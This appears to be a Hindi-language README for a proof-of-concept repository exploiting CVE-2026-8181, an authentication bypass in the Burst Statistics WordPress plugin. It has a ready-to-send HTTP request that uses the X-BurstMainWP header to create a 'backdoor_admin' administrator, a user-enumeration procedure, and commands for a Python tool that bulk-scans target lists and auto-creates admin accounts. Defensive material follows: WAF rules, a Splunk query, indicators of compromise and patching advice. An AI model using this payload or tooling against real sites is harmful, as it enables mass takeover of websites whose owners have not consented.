
CVE-2026-8181 के लिए Python PoC, जो Burst Statistics WordPress प्लगइन में एक महत्वपूर्ण प्रमाणीकरण बाईपास है। इसमें शोषण स्वचालन, बल्क स्कैनिंग, और अधिकृत सुरक्षा परीक्षण के लिए एडमिन खाता निर्माण शामिल है।
[!CAUTION] महत्वपूर्ण चेतावनी: यह भेद्यता एक अप्रमाणित दूरस्थ हमलावर को लक्ष्य WordPress साइट पर केवल एक कस्टम HTTP हेडर इंजेक्ट करके प्रमाणीकरण बाइपास करने और पूर्ण प्रशासक विशेषाधिकार प्राप्त करने की अनुमति देती है। यह CVE वर्तमान में जंगली में सक्रिय रूप से शोषित किया जा रहा है।
CVE-2026-8181 एक महत्वपूर्ण प्रमाणीकरण बाइपास भेद्यता है जो Burst Statistics WordPress प्लगइन (संस्करण 3.4.0 से 3.4.1.1) को प्रभावित करती है। यह दोष प्लगइन के MainWP प्रॉक्सी एकीकरण में स्थित है। प्रारंभिक plugins_loaded हुक के दौरान एप्लिकेशन पासवर्ड के अनुचित सत्यापन के कारण, प्लगइन गलत तरीके से उन REST API अनुरोधों को प्रशासनिक संदर्भ प्रदान करता है जिनमें X-BurstMainWP: 1 हेडर शामिल होता है, भले ही अनुरोध में मान्य क्रेडेंशियल न हों।
यह एक साधारण, अप्रमाणित HTTP अनुरोध को पूर्ण प्रशासनिक अधिग्रहण में बदल देता है, जो सभी मानक WordPress प्रमाणीकरण तंत्रों को बायपास करता है।
यह समझने के लिए कि कैसे एक साधारण हेडर राज्य की चाबियाँ प्रदान करता है, हमें प्लगइन के प्रमाणीकरण हैंडलर के अंदर PHP तर्क को अलग करना होगा।
यह भेद्यता includes/Frontend/class-mainwp-proxy.php में is_mainwp_authenticated() विधि के अंदर एक गलत तरीके से संभाले गए सशर्त शाखा से उत्पन्न होती है।
plugins_loaded पर init() को प्राथमिकता 9 पर पंजीकृत करता है। यह WordPress जीवनचक्र में बहुत जल्दी है।X-BurstMainWP: 1 हेडर ले जाता है, तो has_admin_access() प्रमाणीकरण को is_mainwp_authenticated() को सौंपता है।Authorization हेडर को पढ़ती है और क्रेडेंशियल्स को WordPress कोर के wp_authenticate_application_password() पर अग्रेषित करती है।application_password_is_api_request फ़िल्टर को true पर सेट नहीं किया है (प्रारंभिक हुक निष्पादन के कारण), कोर फ़ंक्शन WP_Error ऑब्जेक्ट के बजाय null लौटाता है।// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
यह खंड रेड टीमर्स और अधिकृत प्रवेश परीक्षकों के लिए है।
/wp-content/plugins/burst-statistics/readme.txt के माध्यम से)।GET /wp-json/wp/v2/users के माध्यम से उन्हें लीक करता है। यदि अवरुद्ध है, तो लेखक संग्रह चाल का उपयोग करें: /?author=1।POST /wp-json/wp/v2/users।X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null जाँच को हिट करता है, और अनुरोध को प्रशासक संदर्भ में पदोन्नत करता है। नया प्रशासक उपयोगकर्ता बनाया जाता है।POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] पर्यावरणीय सावधानी: इस शोषण के लिए
Authorizationहेडर को PHP तक पहुँचने की आवश्यकता है।
- Nginx / LiteSpeed / Apache with Pretty Permalinks: हेडर अग्रेषित किया गया है। शोषण सफल होता है।
- Apache with Plain Permalinks (Default): हेडर वेब सर्वर द्वारा चुपचाप हटा दिया जाता है। शोषण विफल।
यह खंड ब्लू टीमर्स, SOC विश्लेषकों और सिस्टम प्रशासकों के लिए है।
एज पर विशिष्ट हेडर को ब्लॉक या मॉनिटर करें।
ModSecurity / OWASP CRS नियम:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Cloudflare WAF कस्टम नियम:
(http.request.headers["X-BurstMainWP"] eq "1")
REST API उपयोगकर्ता निर्माण के साथ संयुक्त हेडर की उपस्थिति के लिए अपने वेब सर्वर लॉग खोजें।
Splunk / ELK क्वेरी:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
यदि आपको उल्लंघन का संदेह है, तो इन पोस्ट-शोषण कलाकृतियों की तलाश करें:
administrator भूमिका के साथ बनाए गए उपयोगकर्ताओं के लिए wp_users तालिका की जाँच करें।wp-content/plugins/ की जाँच करें (अक्सर वैध प्लगइन के रूप में प्रच्छन्न वेबशेल)।wp-content/themes/ या कोर फ़ाइलों में अनधिकृत परिवर्तनों की जाँच करें।[!IMPORTANT] तत्काल कार्रवाई आवश्यक: यदि आप एक संवेदनशील संस्करण चला रहे हैं, तो तुरंत निम्नलिखित शमन में से एक लागू करें।
इस रिपॉजिटरी में CVE-2026-8181.py शामिल है, जो अधिकृत प्रयोगशाला वातावरण में भेद्यता को सत्यापित करने के लिए एक Python स्वचालन उपकरण है।
# 1. निर्भरताएँ स्थापित करें
pip3 install requests urllib3
# 2. एकल साइट टोही और ऑटो-प्रोविज़न नया प्रशासक
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k
# 3. संयुक्त सफलता फ़ाइल के साथ बल्क स्कैन
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k
# 4. व्यक्तिगत होस्ट रिपोर्ट के साथ बल्क स्कैन
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k
[!WARNING] केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
इस रिपॉजिटरी में प्रदान की गई जानकारी शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और अधिकृत प्रवेश परीक्षण के लिए है। सिस्टम मालिक से स्पष्ट, लिखित अनुमति के बिना सिस्टम के विरुद्ध भेद्यताओं का शोषण करना अवैध है और अंतरराष्ट्रीय साइबर कानूनों का उल्लंघन करता है।
इस रिपॉजिटरी के लेखक और योगदानकर्ता कोई दायित्व नहीं लेते और इस उपकरण या जानकारी के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए जिम्मेदार नहीं हैं। हमेशा जिम्मेदारी और नैतिक रूप से हैक करें।
is_wp_error( $user ) की जाँच करता है। चूँकि null एक WP_Error नहीं है, गार्ड पास हो जाता है।wp_set_current_user() को कॉल करता है, तुरंत अनुरोध को पूर्ण प्रशासक संदर्भ में बढ़ा देता है।| प्राथमिकता | कार्रवाई | विवरण |
|---|
| P0 | प्लगइन को पैच करें | WordPress डैशबोर्ड के माध्यम से तुरंत Burst Statistics को संस्करण 3.4.2 या उच्चतर पर अपडेट करें। |
| P1 | WAF वर्चुअल पैचिंग | यदि आप तुरंत पैच नहीं कर सकते हैं, तो X-BurstMainWP हेडर को ब्लॉक करने के लिए WAF नियम (ऊपर) तैनात करें। |
| P2 | उपयोगकर्ता गणना प्रतिबंधित करें | /wp-json/wp/v2/users और /?author=* तक सार्वजनिक पहुँच को ब्लॉक करने के लिए एक सुरक्षा प्लगइन या .htaccess नियमों का उपयोग करें। |
| P3 | उपयोगकर्ताओं और फ़ाइलों का ऑडिट करें | हाल ही में बनाए गए प्रशासक खातों का ऑडिट करने और किसी भी अनधिकृत पहुँच को रद्द करने के लिए एक स्क्रिप्ट चलाएँ। वेबशेल के लिए स्कैन करें। |
| विशेषता | विवरण |
|---|
| 🎯 एकल लक्ष्य | -u फ़्लैग का उपयोग करके किसी विशिष्ट साइट को स्कैन करें। |
| 📦 बल्क संचालन | -f targets.txt के माध्यम से लक्ष्यों की सूची फीड करें (# टिप्पणियों के लिए समर्थन करता है)। |
| ⚡ समवर्ती | थ्रेडेड वर्कर्स (-j N) के साथ बल्क स्कैन को गति दें। |
| 💾 स्मार्ट आउटपुट | संयुक्त रिपोर्ट के लिए -o file.txt। बल्क मोड में, केवल सफल शोषण लॉग किए जाते हैं। |
| 📂 प्रति-होस्ट डंप | प्रत्येक समझौता किए गए होस्ट के लिए अलग-अलग .txt फ़ाइलें सहेजने के लिए --output-dir का उपयोग करें। |
| 👤 प्रशासक निर्माण | REST API के माध्यम से स्वचालित रूप से एक नया प्रशासक खाता प्रदान करने के लिए --create-user पास करें। |
| 🔓 लेब TLS | SSL प्रमाणपत्र त्रुटियों को अनदेखा करने के लिए -k का उपयोग करें (कड़ाई से स्थानीय/विश्वसनीय लैब वातावरण के लिए)। |